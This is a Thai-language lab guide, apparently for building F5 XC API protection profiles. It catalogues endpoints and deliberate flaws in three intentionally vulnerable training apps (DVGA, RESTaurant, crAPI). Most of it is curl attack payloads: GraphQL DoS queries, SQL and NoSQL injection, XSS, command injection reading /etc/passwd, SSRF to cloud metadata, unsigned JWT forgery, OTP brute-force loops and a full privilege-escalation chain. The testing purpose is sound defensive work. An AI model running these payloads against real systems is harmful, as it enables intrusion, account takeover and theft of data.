- หน้าแรก
- เซิร์ฟเวอร์ต้นทาง
- คู่มือการทดสอบ API
คู่มือการทดสอบ API
คู่มือนี้จัดทำแคตตาล็อก API endpoint ทุกรายการ ช่องโหว่ที่ตั้งใจสร้างขึ้น และ payload สำหรับการโจมตีในแอปพลิเคชันทดสอบความปลอดภัย API ทั้งสามรายการ ใช้คู่มือนี้เพื่อสร้างรูปแบบการสร้างทราฟฟิกสำหรับการพัฒนาโปรไฟล์การป้องกัน API ของ F5 XC
| แอปพลิเคชัน | โปรโตคอล | Path | พอร์ต | การยืนยันตัวตน | ช่องโหว่ |
|---|---|---|---|---|---|
| DVGA | GraphQL | /dvga/ | 80 | ไม่มี (admin: admin/password) | 25 สถานการณ์ |
| RESTaurant | REST (FastAPI) | /restaurant/ | 80 | JWT (form-encoded) | 7 หมวดหมู่ OWASP API 2023 |
| crAPI | REST (microservices) | / | 8888 | JWT (Bearer) | 18+ ความท้าทาย |
ตัวแปรสภาพแวดล้อม
หัวข้อที่มีชื่อว่า “ตัวแปรสภาพแวดล้อม”ORIGIN="http://<ORIGIN_IP>"CRAPI="http://<ORIGIN_IP>:8888"DVGA (Damn Vulnerable GraphQL Application)
หัวข้อที่มีชื่อว่า “DVGA (Damn Vulnerable GraphQL Application)”GraphQL Endpoint: POST ${ORIGIN}/dvga/graphql
GraphiQL IDE: GET ${ORIGIN}/dvga/
ข้อมูลรับรองผู้ดูแลระบบ: admin / password
การโต้ตอบกับ DVGA ทั้งหมดใช้ endpoint เดียว (/dvga/graphql) ผ่านคำร้องขอ POST ที่มี payload JSON {"query":"..."}
ภาพรวม Schema
หัวข้อที่มีชื่อว่า “ภาพรวม Schema”Queries: pastes, paste, me, systemHealth, systemUpdate, systemDiagnosticsMutations: createPaste, importPaste, uploadPasteTypes: PasteObject (id, title, content, public, owner, ipAddr, userAgent) OwnerObject (id, username, pastes) ← circular referenceเอกสารอ้างอิง Endpoint
หัวข้อที่มีชื่อว่า “เอกสารอ้างอิง Endpoint”| การดำเนินการ | ประเภท | การยืนยันตัวตน | วัตถุประสงค์ |
|---|---|---|---|
pastes(public, filter, limit) | Query | ไม่ใช้ | แสดงรายการ paste (SQL injection ผ่าน filter) |
paste(id) | Query | ไม่ใช้ | ดึง paste รายการเดียว |
me(token) | Query | ไม่ใช้ | ดึงผู้ใช้ด้วย JWT (มีช่องโหว่การปลอมแปลง) |
systemHealth | Query | ไม่ใช้ | ตรวจสอบสถานะ |
systemUpdate | Query | ไม่ใช้ | Query ช้า (~82 วินาที, เป็นเวกเตอร์ DoS) |
systemDiagnostics(cmd) | Query | admin/password | รันคำสั่ง OS ที่อยู่ใน whitelist |
createPaste(title, content, public) | Mutation | ไม่ใช้ | สร้าง paste (XSS ผ่าน content) |
importPaste(host, port, path, scheme) | Mutation | ไม่ใช้ | นำเข้า paste จากระยะไกล (SSRF, command injection) |
uploadPaste(filename, content) | Mutation | ไม่ใช้ | อัปโหลด paste (path traversal) |
แคตตาล็อกช่องโหว่
หัวข้อที่มีชื่อว่า “แคตตาล็อกช่องโหว่”1. การโจมตีแบบ Denial of Service (6 สถานการณ์)
หัวข้อที่มีชื่อว่า “1. การโจมตีแบบ Denial of Service (6 สถานการณ์)”การโจมตีด้วย Batch Query:
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '[{"query":"{systemUpdate}"},{"query":"{systemUpdate}"},{"query":"{systemUpdate}"}]'Deep Recursion (การอ้างอิงแบบวงกลมระหว่าง Owner/Paste):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{pastes{owner{pastes{owner{pastes{owner{pastes{owner{pastes{title}}}}}}}}}}"}'Query ที่ใช้ทรัพยากรมาก (~82 วินาทีในการตอบสนอง):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{systemUpdate}"}'การซ้ำซ้อนของฟิลด์ (ทำซ้ำฟิลด์มากกว่า 500 ครั้ง):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{pastes{title title title title title title title title title title title title title title title title title title title title}}"}'การโจมตีด้วย Alias (การดำเนินการที่มี alias 1000 รายการ):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{q0:systemUpdate q1:systemUpdate q2:systemUpdate q3:systemUpdate q4:systemUpdate q5:systemUpdate q6:systemUpdate q7:systemUpdate q8:systemUpdate q9:systemUpdate}"}'2. การเปิดเผยข้อมูล (5 สถานการณ์)
หัวข้อที่มีชื่อว่า “2. การเปิดเผยข้อมูล (5 สถานการณ์)”Introspection (การระบุ schema ทั้งหมด):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{__schema{types{name fields{name args{name type{name}}}}}}"}'Field Suggestions (การพิมพ์ผิดเปิดเผยฟิลด์ที่ถูกต้อง):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{pastes{titl}}"}'SSRF ผ่าน importPaste (ตรวจสอบบริการภายใน):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"mutation{importPaste(host:\"localhost\",port:57575,path:\"/\",scheme:\"http\"){result}}"}'3. Injection (4 สถานการณ์)
หัวข้อที่มีชื่อว่า “3. Injection (4 สถานการณ์)”SQL Injection ผ่านพารามิเตอร์ filter:
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{pastes(filter:\"aaa\\u0027 OR 1=1--\"){id title content public}}"}'Stored XSS ผ่าน createPaste:
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"mutation{createPaste(title:\"<img src=x onerror=alert(1)>\",content:\"xss\",public:true){paste{id title}}}"}'Log Injection (การปลอมแปลงชื่อ operation):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"mutation getPaste{createPaste(title:\"injected\",content:\"hidden mutation\",public:true){paste{id}}}"}'4. การรันโค้ด (3 สถานการณ์)
หัวข้อที่มีชื่อว่า “4. การรันโค้ด (3 สถานการณ์)”OS Command Injection ผ่าน importPaste:
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"mutation{importPaste(host:\"localhost\",port:80,path:\"/ ; uname -a\",scheme:\"http\"){result}}"}'OS Command ผ่าน systemDiagnostics (ต้องใช้การยืนยันตัวตนของผู้ดูแลระบบ):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{systemDiagnostics(cmd:\"id\")}"}'5. การข้ามการยืนยันสิทธิ์ (3 สถานการณ์)
หัวข้อที่มีชื่อว่า “5. การข้ามการยืนยันสิทธิ์ (3 สถานการณ์)”การปลอมแปลง JWT Token (ยอมรับ token ที่ไม่มีลายเซ็น):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{me(token:\"eyJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIn0.\"){username}}"}'การเขียนไฟล์โดยพลการผ่าน uploadPaste (path traversal):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"mutation{uploadPaste(filename:\"../../../tmp/test.txt\",content:\"path traversal test\"){result}}"}'RESTaurant API (Damn Vulnerable RESTaurant)
หัวข้อที่มีชื่อว่า “RESTaurant API (Damn Vulnerable RESTaurant)”Swagger UI: ${ORIGIN}/restaurant/docs
OpenAPI Spec: ${ORIGIN}/restaurant/openapi.json
การยืนยันตัวตน: JWT ผ่าน form-encoded POST ไปยัง /restaurant/token
บทบาท: Customer (ค่าเริ่มต้น), Employee, Chef (admin)
การตั้งค่า: ลงทะเบียนและยืนยันตัวตน
หัวข้อที่มีชื่อว่า “การตั้งค่า: ลงทะเบียนและยืนยันตัวตน”# ลงทะเบียนผู้ใช้ทดสอบcurl -X POST ${ORIGIN}/restaurant/register \ -H "Content-Type: application/json" \ -d '{"username":"attacker","password":"Attack123","first_name":"Test","last_name":"User","phone_number":"5551234567"}'
# รับ JWT token (หมายเหตุ: ใช้ form-encoded ไม่ใช่ JSON)TOKEN=$(curl -sf -X POST ${ORIGIN}/restaurant/token \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "username=attacker&password=Attack123" | python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")
echo "Bearer token: ${TOKEN}"เอกสารอ้างอิง Endpoint
หัวข้อที่มีชื่อว่า “เอกสารอ้างอิง Endpoint”| Endpoint | Method | การยืนยันตัวตน | บทบาท | ช่องโหว่ |
|---|---|---|---|---|
/restaurant/register | POST | ไม่ใช้ | — | การสร้างผู้ใช้ |
/restaurant/token | POST | ไม่ใช้ | — | JWT ที่มี secret อ่อนแอ (97952) |
/restaurant/healthcheck | GET | ไม่ใช้ | — | ตรวจสอบสถานะ |
/restaurant/profile | GET | ใช้ | Any | โปรไฟล์ผู้ใช้ |
/restaurant/profile | PUT | ใช้ | Any | BOLA (แก้ไขผู้ใช้รายอื่น) |
/restaurant/profile | PATCH | ใช้ | Any | BOPLA (กำหนด role แบบ mass assign) |
/restaurant/users/update_role | PUT | ใช้ | Any | BFLA (การยกระดับบทบาท) |
/restaurant/menu | GET | ใช้ | Any | แสดงรายการเมนู |
/restaurant/menu | PUT | ใช้ | Employee+ | สร้างเมนู (SSRF ผ่าน image) |
/restaurant/menu/{item_id} | PUT | ใช้ | Employee+ | อัปเดตเมนู (SSRF ผ่าน image) |
/restaurant/menu/{item_id} | DELETE | ใช้ | Any | BFLA (ผู้ใช้ใดก็สามารถลบได้) |
/restaurant/orders | GET | ใช้ | Any | BOLA (ดูคำสั่งซื้อทั้งหมด) |
/restaurant/orders | POST | ใช้ | Any | สร้างคำสั่งซื้อ |
/restaurant/orders/{order_id} | GET | ใช้ | Any | BOLA (เข้าถึงคำสั่งซื้อของผู้อื่น) |
/restaurant/orders/status/{order_id} | GET | ใช้ | Any | สถานะคำสั่งซื้อ |
/restaurant/admin/stats/disk | GET | ใช้ | Chef | Command injection |
/restaurant/reset-password | POST | ไม่ใช้ | — | คำร้องขอรีเซ็ตรหัสผ่าน |
/restaurant/reset-password/new-password | POST | ไม่ใช้ | — | ตั้งรหัสผ่านใหม่ |
/restaurant/referral-code | GET | ใช้ | Any | รับรหัสแนะนำ |
/restaurant/apply-referral | POST | ใช้ | Any | ใช้รหัสแนะนำ |
/restaurant/discount-coupons | GET | ใช้ | Any | แสดงรายการคูปอง |
แคตตาล็อกช่องโหว่
หัวข้อที่มีชื่อว่า “แคตตาล็อกช่องโหว่”API1:2023 — Broken Object Level Authorization (BOLA)
หัวข้อที่มีชื่อว่า “API1:2023 — Broken Object Level Authorization (BOLA)”แก้ไขโปรไฟล์ของผู้ใช้รายอื่น:
curl -X PUT ${ORIGIN}/restaurant/profile \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"username":"chef","phone_number":"hacked","first_name":"Pwned","last_name":"User"}'เข้าถึงคำสั่งซื้อของผู้ใช้รายอื่น (ระบุ offset แบบลำดับ):
for i in 1 2 3 4 5; do curl -sf ${ORIGIN}/restaurant/orders/${i} \ -H "Authorization: Bearer ${TOKEN}" 2>&1 echo ""doneAPI2:2023 — Broken Authentication
หัวข้อที่มีชื่อว่า “API2:2023 — Broken Authentication”การ brute-force ด้วย JWT secret อ่อนแอ (secret คือ 6 หลัก: 97952):
# ถอดรหัสและปลอมแปลง token ที่ jwt.io# Secret: 97952 (brute-forceable with hashcat -a 3 -m 16500 token '?d?d?d?d?d?d')
# ปลอมแปลง Chef token:# Header: {"alg":"HS256","typ":"JWT"}# Payload: {"sub":"chef","exp":9999999999}# Sign with secret: 97952API3:2023 — Broken Object Property Level Authorization (BOPLA)
หัวข้อที่มีชื่อว่า “API3:2023 — Broken Object Property Level Authorization (BOPLA)”กำหนด role จาก Customer เป็น Chef แบบ mass-assign:
curl -X PATCH ${ORIGIN}/restaurant/profile \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"role":"Chef"}'เส้นทางการยกระดับ: Customer → Employee → Chef:
# ขั้นตอนที่ 1: ยกระดับเป็น Employeecurl -X PATCH ${ORIGIN}/restaurant/profile \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"role":"Employee"}'
# ขั้นตอนที่ 2: ยกระดับเป็น Chefcurl -X PATCH ${ORIGIN}/restaurant/profile \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"role":"Chef"}'API5:2023 — Broken Function Level Authorization (BFLA)
หัวข้อที่มีชื่อว่า “API5:2023 — Broken Function Level Authorization (BFLA)”ลบรายการเมนูในฐานะ Customer (ควรต้องใช้ Employee+):
curl -X DELETE ${ORIGIN}/restaurant/menu/1 \ -H "Authorization: Bearer ${TOKEN}"เปลี่ยน role ของผู้ใช้รายอื่น:
curl -X PUT ${ORIGIN}/restaurant/users/update_role \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"username":"chef","role":"Customer"}'API7:2023 — Server-Side Request Forgery (SSRF)
หัวข้อที่มีชื่อว่า “API7:2023 — Server-Side Request Forgery (SSRF)”ตรวจสอบ endpoint ภายในผ่าน image_url ของเมนู (ต้องใช้บทบาท Employee):
# ยกระดับเป็น Employee ผ่าน BOPLA ก่อน จากนั้น:curl -X PUT ${ORIGIN}/restaurant/menu \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"name":"SSRF Test","price":1.00,"category":"Test","image_url":"http://127.0.0.1:8091/admin/reset-chef-password"}'API8:2023 — Injection
หัวข้อที่มีชื่อว่า “API8:2023 — Injection”OS Command Injection ผ่านสถิติดิสก์ (ต้องใช้บทบาท Chef):
# หลังจากยกระดับเป็น Chef:curl -sf "${ORIGIN}/restaurant/admin/stats/disk?parameters=;whoami" \ -H "Authorization: Bearer ${TOKEN}"
curl -sf "${ORIGIN}/restaurant/admin/stats/disk?parameters=;cat%20/etc/passwd" \ -H "Authorization: Bearer ${TOKEN}"ห่วงโซ่การโจมตีแบบสมบูรณ์: Customer ถึง Root
หัวข้อที่มีชื่อว่า “ห่วงโซ่การโจมตีแบบสมบูรณ์: Customer ถึง Root”# 1. ลงทะเบียนcurl -X POST ${ORIGIN}/restaurant/register \ -H "Content-Type: application/json" \ -d '{"username":"hacker","password":"Hack123","first_name":"H","last_name":"X","phone_number":"0"}'
# 2. รับ tokenTOKEN=$(curl -sf -X POST ${ORIGIN}/restaurant/token \ -d "username=hacker&password=Hack123" | python3 -c "import sys,json;print(json.load(sys.stdin)['access_token'])")
# 3. ยกระดับเป็น Chef (BOPLA)curl -X PATCH ${ORIGIN}/restaurant/profile \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"role":"Chef"}'
# 4. ยืนยันตัวตนใหม่เพื่อรับ token ระดับ ChefTOKEN=$(curl -sf -X POST ${ORIGIN}/restaurant/token \ -d "username=hacker&password=Hack123" | python3 -c "import sys,json;print(json.load(sys.stdin)['access_token'])")
# 5. Command injection (RCE)curl -sf "${ORIGIN}/restaurant/admin/stats/disk?parameters=;id" \ -H "Authorization: Bearer ${TOKEN}"crAPI (OWASP Completely Ridiculous API)
หัวข้อที่มีชื่อว่า “crAPI (OWASP Completely Ridiculous API)”Web UI: ${CRAPI}/
MailHog: ${CRAPI}/mailhog/ (รับอีเมลสำหรับการยืนยัน)
การยืนยันตัวตน: JWT Bearer token (RS256, มีช่องโหว่จาก algorithm confusion)
สถาปัตยกรรม: 7 microservices (identity, community, workshop, postgres, mongo, mailhog, web)
การตั้งค่า: ลงทะเบียน ยืนยันอีเมล และเข้าสู่ระบบ
หัวข้อที่มีชื่อว่า “การตั้งค่า: ลงทะเบียน ยืนยันอีเมล และเข้าสู่ระบบ”# 1. ลงทะเบียนcurl -X POST ${CRAPI}/identity/api/auth/signup \ -H "Content-Type: application/json" \ -d '{"name":"Test User","email":"tester@example.com","number":"5551234567","password":"TestPass123"}'
# 2. ตรวจสอบ MailHog สำหรับอีเมลยืนยัน# เปิด ${CRAPI}/mailhog/ หรือใช้ MailHog API:curl -sf ${CRAPI}/mailhog/api/v2/messages | python3 -c "import sys,jsonmsgs = json.load(sys.stdin)['items']for m in msgs: print(f\"To: {m['Raw']['To'][0]}, Subject: {m['Content']['Headers']['Subject'][0]}\")"
# 3. เข้าสู่ระบบและรับ JWT tokenTOKEN=$(curl -sf -X POST ${CRAPI}/identity/api/auth/login \ -H "Content-Type: application/json" \ -d '{"email":"tester@example.com","password":"TestPass123"}' | python3 -c "import sys,json;print(json.load(sys.stdin)['token'])")
echo "Bearer token: ${TOKEN}"เอกสารอ้างอิง Endpoint
หัวข้อที่มีชื่อว่า “เอกสารอ้างอิง Endpoint”Identity Service
หัวข้อที่มีชื่อว่า “Identity Service”| Endpoint | Method | การยืนยันตัวตน | ช่องโหว่ |
|---|---|---|---|
/identity/api/auth/signup | POST | ไม่ใช้ | การลงทะเบียน |
/identity/api/auth/login | POST | ไม่ใช้ | JWT token (algorithm confusion) |
/identity/api/auth/forget-password | POST | ไม่ใช้ | ขอ OTP |
/identity/api/auth/v2/check-otp | POST | ไม่ใช้ | ไม่มีการจำกัดอัตรา (brute-force OTP 4 หลัก) |
/identity/api/auth/v3/check-otp | POST | ไม่ใช้ | เวอร์ชันที่มีการจำกัดอัตรา |
/identity/api/v2/user/dashboard | GET | ใช้ | โปรไฟล์ผู้ใช้ |
/identity/api/v2/user/change-email | PUT | ใช้ | การเปลี่ยนอีเมล |
/identity/api/v2/vehicle/vehicles | GET | ใช้ | แสดงรายการยานพาหนะ (รั่วไหล UUID) |
/identity/api/v2/vehicle/{uuid}/location | GET | ใช้ | BOLA (ยานพาหนะของผู้ใช้ใดก็ได้) |
/identity/api/v2/user/videos | POST | ใช้ | อัปโหลดวิดีโอ |
/identity/api/v2/user/videos/{id} | GET | ใช้ | การเปิดเผยข้อมูล (conversion_params) |
/identity/api/v2/user/videos/{id} | PUT | ใช้ | Mass assignment (command injection) |
/identity/api/v2/admin/videos/{id} | DELETE | ใช้ | BFLA (ไม่มีการตรวจสอบ admin) |
Community Service
หัวข้อที่มีชื่อว่า “Community Service”| Endpoint | Method | การยืนยันตัวตน | ช่องโหว่ |
|---|---|---|---|
/community/api/v2/community/posts | GET | ใช้ | การเปิดเผยข้อมูล (รั่วไหล vehicle_id, email) |
/community/api/v2/community/posts | POST | ใช้ | สร้าง blog post |
/community/api/v2/community/posts/{id}/comments | POST | ใช้ | เพิ่มความคิดเห็น |
/community/api/v2/coupon/validate-coupon | POST | ใช้ | NoSQL injection |
Workshop Service
หัวข้อที่มีชื่อว่า “Workshop Service”| Endpoint | Method | การยืนยันตัวตน | ช่องโหว่ |
|---|---|---|---|
/workshop/api/mechanic | GET | ใช้ | การเปิดเผยข้อมูล (อีเมลช่างซ่อม) |
/workshop/api/mechanic/mechanic_report | GET | ไม่ใช้ | BOLA (ไม่มีการยืนยันตัวตน, ID แบบลำดับ) |
/workshop/api/merchant/contact_mechanic | POST | ใช้ | SSRF + DoS |
/workshop/api/shop/products | GET | ใช้ | แคตตาล็อกสินค้า |
/workshop/api/shop/orders/ | POST | ใช้ | สร้างคำสั่งซื้อ |
/workshop/api/shop/orders/all | GET | ใช้ | แสดงรายการคำสั่งซื้อ |
/workshop/api/shop/orders/{id} | GET | ไม่ใช้ | BOLA (ไม่ต้องการการยืนยันตัวตน) |
/workshop/api/shop/orders/{id} | PUT | ใช้ | Mass assignment (status, quantity) |
/workshop/api/shop/apply_coupon | POST | ใช้ | SQL injection |
แคตตาล็อกความท้าทาย
หัวข้อที่มีชื่อว่า “แคตตาล็อกความท้าทาย”ความท้าทายที่ 1 — BOLA: เข้าถึงตำแหน่งยานพาหนะของผู้ใช้รายอื่น
หัวข้อที่มีชื่อว่า “ความท้าทายที่ 1 — BOLA: เข้าถึงตำแหน่งยานพาหนะของผู้ใช้รายอื่น”# รับ vehicle UUID ของคุณก่อนcurl -sf ${CRAPI}/identity/api/v2/vehicle/vehicles \ -H "Authorization: Bearer ${TOKEN}"
# เข้าถึงยานพาหนะของผู้ใช้รายอื่น (แทนที่ UUID)curl -sf ${CRAPI}/identity/api/v2/vehicle/VICTIM-UUID-HERE/location \ -H "Authorization: Bearer ${TOKEN}"ความท้าทายที่ 2 — BOLA: เข้าถึงรายงานช่างซ่อม (ไม่ต้องการการยืนยันตัวตน)
หัวข้อที่มีชื่อว่า “ความท้าทายที่ 2 — BOLA: เข้าถึงรายงานช่างซ่อม (ไม่ต้องการการยืนยันตัวตน)”# การระบุ ID แบบลำดับ — ไม่ต้องใช้ tokenfor i in 1 2 3 4 5; do echo "Report $i:" curl -sf "${CRAPI}/workshop/api/mechanic/mechanic_report?report_id=${i}" echo ""doneความท้าทายที่ 3 — Broken Auth: Brute-Force OTP สำหรับรีเซ็ตรหัสผ่าน
หัวข้อที่มีชื่อว่า “ความท้าทายที่ 3 — Broken Auth: Brute-Force OTP สำหรับรีเซ็ตรหัสผ่าน”# ขอ OTP สำหรับเหยื่อcurl -X POST ${CRAPI}/identity/api/auth/forget-password \ -H "Content-Type: application/json" \ -d '{"email":"victim@example.com"}'
# Brute-force OTP 4 หลัก (v2 ไม่มีการจำกัดอัตรา)for otp in $(seq -w 0000 9999); do RESULT=$(curl -sf -X POST ${CRAPI}/identity/api/auth/v2/check-otp \ -H "Content-Type: application/json" \ -d "{\"email\":\"victim@example.com\",\"otp\":\"${otp}\"}" 2>&1) echo "$otp: $RESULT" | grep -v "Invalid OTP" && breakdoneความท้าทายที่ 4 — การเปิดเผยข้อมูล: รั่วไหลอีเมลช่างซ่อม
หัวข้อที่มีชื่อว่า “ความท้าทายที่ 4 — การเปิดเผยข้อมูล: รั่วไหลอีเมลช่างซ่อม”curl -sf ${CRAPI}/workshop/api/mechanic \ -H "Authorization: Bearer ${TOKEN}" | python3 -m json.toolความท้าทายที่ 5 — การเปิดเผยข้อมูล: พารามิเตอร์การแปลงวิดีโอภายใน
หัวข้อที่มีชื่อว่า “ความท้าทายที่ 5 — การเปิดเผยข้อมูล: พารามิเตอร์การแปลงวิดีโอภายใน”# อัปโหลดวิดีโอ แล้วตรวจสอบการตอบสนองcurl -sf ${CRAPI}/identity/api/v2/user/videos \ -H "Authorization: Bearer ${TOKEN}" | python3 -m json.tool# ดูฟิลด์ conversion_params ในการตอบสนองความท้าทายที่ 6 — DoS: Layer 7 ผ่าน Contact Mechanic
หัวข้อที่มีชื่อว่า “ความท้าทายที่ 6 — DoS: Layer 7 ผ่าน Contact Mechanic”curl -X POST ${CRAPI}/workshop/api/merchant/contact_mechanic \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{ "mechanic_code":"MECH001", "problem_details":"Engine issue", "vin":"VEHICLE_VIN", "mechanic_api":"http://localhost:8080/api", "repeat_request_if_failed":true, "number_of_repeats":100 }'ความท้าทายที่ 7 — BFLA: ลบวิดีโอผ่าน Admin Endpoint
หัวข้อที่มีชื่อว่า “ความท้าทายที่ 7 — BFLA: ลบวิดีโอผ่าน Admin Endpoint”# ผู้ใช้ทั่วไปสามารถเข้าถึง admin endpoint ได้curl -X DELETE ${CRAPI}/identity/api/v2/admin/videos/VIDEO_ID_HERE \ -H "Authorization: Bearer ${TOKEN}"ความท้าทายที่ 8 & 9 — Mass Assignment: รับสินค้าฟรีผ่านการปรับแต่งคำสั่งซื้อ
หัวข้อที่มีชื่อว่า “ความท้าทายที่ 8 & 9 — Mass Assignment: รับสินค้าฟรีผ่านการปรับแต่งคำสั่งซื้อ”# เปลี่ยน GET เป็น PUT แก้ไข status และ quantitycurl -X PUT ${CRAPI}/workshop/api/shop/orders/1 \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"status":"returned","quantity":100}'ความท้าทายที่ 10 — Command Injection ผ่านพารามิเตอร์การแปลงวิดีโอ
หัวข้อที่มีชื่อว่า “ความท้าทายที่ 10 — Command Injection ผ่านพารามิเตอร์การแปลงวิดีโอ”curl -X PUT ${CRAPI}/identity/api/v2/user/videos/VIDEO_ID \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"conversion_params":"-v codec h264; cat /etc/passwd"}'ความท้าทายที่ 11 — SSRF ผ่าน Contact Mechanic
หัวข้อที่มีชื่อว่า “ความท้าทายที่ 11 — SSRF ผ่าน Contact Mechanic”curl -X POST ${CRAPI}/workshop/api/merchant/contact_mechanic \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{ "mechanic_code":"MECH001", "problem_details":"test", "vin":"VIN123", "mechanic_api":"http://169.254.169.254/latest/meta-data/", "repeat_request_if_failed":false, "number_of_repeats":0 }'ความท้าทายที่ 12 — NoSQL Injection: ดึงรหัสคูปอง
หัวข้อที่มีชื่อว่า “ความท้าทายที่ 12 — NoSQL Injection: ดึงรหัสคูปอง”curl -X POST ${CRAPI}/community/api/v2/coupon/validate-coupon \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"coupon_code":{"$ne":1}}'ความท้าทายที่ 13 — SQL Injection: แลกคูปองหลายครั้ง
หัวข้อที่มีชื่อว่า “ความท้าทายที่ 13 — SQL Injection: แลกคูปองหลายครั้ง”curl -X POST ${CRAPI}/workshop/api/shop/apply_coupon \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d "{\"coupon_code\":\"TRAC075' OR '1'='1\"}"ความท้าทายที่ 14 — การเข้าถึงคำสั่งซื้อโดยไม่ยืนยันตัวตน
หัวข้อที่มีชื่อว่า “ความท้าทายที่ 14 — การเข้าถึงคำสั่งซื้อโดยไม่ยืนยันตัวตน”# ไม่มี Authorization header — ยังคงส่งคืนข้อมูลfor i in 1 2 3 4 5; do curl -sf ${CRAPI}/workshop/api/shop/orders/${i} echo ""doneความท้าทายที่ 15 — JWT Algorithm Confusion
หัวข้อที่มีชื่อว่า “ความท้าทายที่ 15 — JWT Algorithm Confusion”# ปลอมแปลง JWT ด้วย algorithm "none" (ไม่มีการตรวจสอบลายเซ็น):# 1. ตั้ง header: {"alg":"none","typ":"JWT"} และ base64url-encode# 2. ตั้ง payload: {"email":"admin@example.com","role":"admin"} และ base64url-encode# 3. เชื่อมต่อด้วยจุด ปล่อย signature ว่าง: <header>.<payload>.HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 -w0 | tr '+/' '-_' | tr -d '=')PAYLOAD=$(echo -n '{"email":"admin@example.com","role":"admin"}' | base64 -w0 | tr '+/' '-_' | tr -d '=')FORGED="${HEADER}.${PAYLOAD}."
curl -sf ${CRAPI}/identity/api/v2/user/dashboard \ -H "Authorization: Bearer ${FORGED}"การอ้างอิงข้ามกับ OWASP API Security Top 10
หัวข้อที่มีชื่อว่า “การอ้างอิงข้ามกับ OWASP API Security Top 10”| หมวดหมู่ OWASP | DVGA | RESTaurant | crAPI |
|---|---|---|---|
| API1: BOLA | — | PUT /profile, GET /orders/{id} | ตำแหน่งยานพาหนะ, รายงานช่างซ่อม, คำสั่งซื้อ |
| API2: Broken Auth | การปลอมแปลง JWT (query me) | JWT secret อ่อนแอ (97952) | OTP brute-force (v2), JWT algorithm confusion |
| API3: BOPLA | — | PATCH /profile (การยกระดับบทบาท) | Video conversion_params, การเปิดเผยอีเมลช่างซ่อม |
| API4: Resource Consumption | Batch, recursion, alias, field duplication DoS | การระบุผู้ใช้ผ่านความยาวการตอบสนอง | contact_mechanic repeat_request DoS |
| API5: BFLA | — | DELETE /menu, PUT /users/update_role | DELETE /admin/videos โดยผู้ใช้ทั่วไป |
| API6: Mass Assignment | — | PUT /orders (status, quantity) | สถานะ/จำนวนคำสั่งซื้อ, video conversion_params |
| API7: SSRF | mutation importPaste | PUT /menu image_url | contact_mechanic mechanic_api URL |
| API8: Injection | SQL (filter), XSS (content), OS cmd (importPaste, systemDiagnostics) | OS cmd (/admin/stats/disk?parameters=) | NoSQL (validate-coupon), SQL (apply_coupon) |
| API9: Improper Assets | — | — | /auth/v2/check-otp ที่เลิกใช้แล้ว (ไม่มีการจำกัดอัตรา) |
| API10: Unsafe Consumption | — | — | (ทางอ้อมผ่าน SSRF) |
| GraphQL-specific | Introspection, batching, recursion, aliases, field duplication, circular fragments | — | — |
รูปแบบการสร้างทราฟฟิก
หัวข้อที่มีชื่อว่า “รูปแบบการสร้างทราฟฟิก”ระยะที่ 1: Baseline (Happy Path)
หัวข้อที่มีชื่อว่า “ระยะที่ 1: Baseline (Happy Path)”สร้างทราฟฟิกที่ถูกต้องตามกฎเพื่อกำหนดพฤติกรรม API ปกติก่อนทดสอบรูปแบบการโจมตี
DVGA baseline:
# Query ปกติcurl -X POST ${ORIGIN}/dvga/graphql -H "Content-Type: application/json" -d '{"query":"{pastes{id title}}"}'curl -X POST ${ORIGIN}/dvga/graphql -H "Content-Type: application/json" -d '{"query":"mutation{createPaste(title:\"note\",content:\"hello\",public:true){paste{id}}}"}'RESTaurant baseline:
curl -sf ${ORIGIN}/restaurant/menu -H "Authorization: Bearer ${TOKEN}"curl -sf ${ORIGIN}/restaurant/profile -H "Authorization: Bearer ${TOKEN}"curl -X POST ${ORIGIN}/restaurant/orders -H "Authorization: Bearer ${TOKEN}" -H "Content-Type: application/json" -d '{"menu_item_id":1,"quantity":1}'crAPI baseline:
